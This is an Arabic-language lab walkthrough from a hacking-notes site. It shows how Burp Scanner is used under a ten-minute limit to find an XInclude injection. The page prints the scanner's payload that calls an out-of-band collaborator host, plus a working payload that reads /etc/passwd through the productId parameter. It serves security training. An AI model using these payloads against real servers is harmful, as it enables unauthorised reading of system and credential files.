> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/essential-skills/quick-detection-with-a-target-scan.md).

# اكتشاف سريع باستخدام فحص مستهدف

### اكتشاف الثغرات بسرعة عبر الفحص الموجّه

#### سياق المختبر

هذا المختبر يحتوي على ثغرة تتيح **قراءة ملفات عشوائية على الخادم**. / الهدف هو **استرجاع محتويات `/etc/passwd` الملف في أقل من 10 دقائق**.

نظرًا لهذا القيد الزمني، يُوصى باستخدام **Burp Scanner** بدلاً من إجراء تدقيق كامل للتطبيق.

#### قيد زمني

* عداد \*\*10 دقائق\*\* نشط منذ بداية المختبر.
* قد يكون فحص الموقع بالكامل بطيئًا جدًا.
* لذلك يُفضَّل أن **تستهدف بذكاء نقاط الدخول المحتملة الضعف**.

<figure><img src="/files/645f811e2b66801696239192c83a67d06086ab40" alt=""><figcaption></figcaption></figure>

#### المنهجية

1. **اعتراض طلب HTTP ذي صلة** باستخدام Burp Proxy.

<figure><img src="/files/c349d4ea939faa0d427c1a7e40c59a0a71b25c82" alt=""><figcaption></figcaption></figure>

تحليل منطق الاستعلام بسرعة لتحديد نقطة نهاية مثيرة للاهتمام.

تشغيل فحص موجّه عبر **Burp Scanner** على هذا الاستعلام المحدد.

<figure><img src="/files/8d2aea86c604337095a2ac678f800a2fa33896c0" alt=""><figcaption></figcaption></figure>

#### إعدادات فحص Burp

* نوع الفحص المحدد: **الزحف والتدقيق**

<figure><img src="/files/fd023fa3b6979e7ba65c9fb62aaf0c5158d8ae36" alt=""><figcaption></figcaption></figure>

* الوضع : **فحص سريع**

الهدف: تحديد متجه هجوم قابل للاستغلال بسرعة

<figure><img src="/files/1ef8ded7aa829ea525af8f491e7b787f6dc1dda1" alt=""><figcaption></figcaption></figure>

#### تم تحديد الثغرة

يكشف الفحص عن ثغرة من النوع **حقن XML (XInclude)**.

<figure><img src="/files/540dc413ef148f143b92092c74c4db5c38090677" alt=""><figcaption></figcaption></figure>

الحمولة الأولية التي اكتشفها Burp Scanner:

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

هذا يؤكد أن الخادم يعالج **XInclude** الكيانات دون قيود.

#### الاستغلال: قراءة `/etc/passwd`

تم تعديل الحمولة لتضمين ملف محلي من النظام:

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="/files/402e0e1c9cde0e4a80a0bd8ac02ef4867f5bd766" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/essential-skills/quick-detection-with-a-target-scan.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
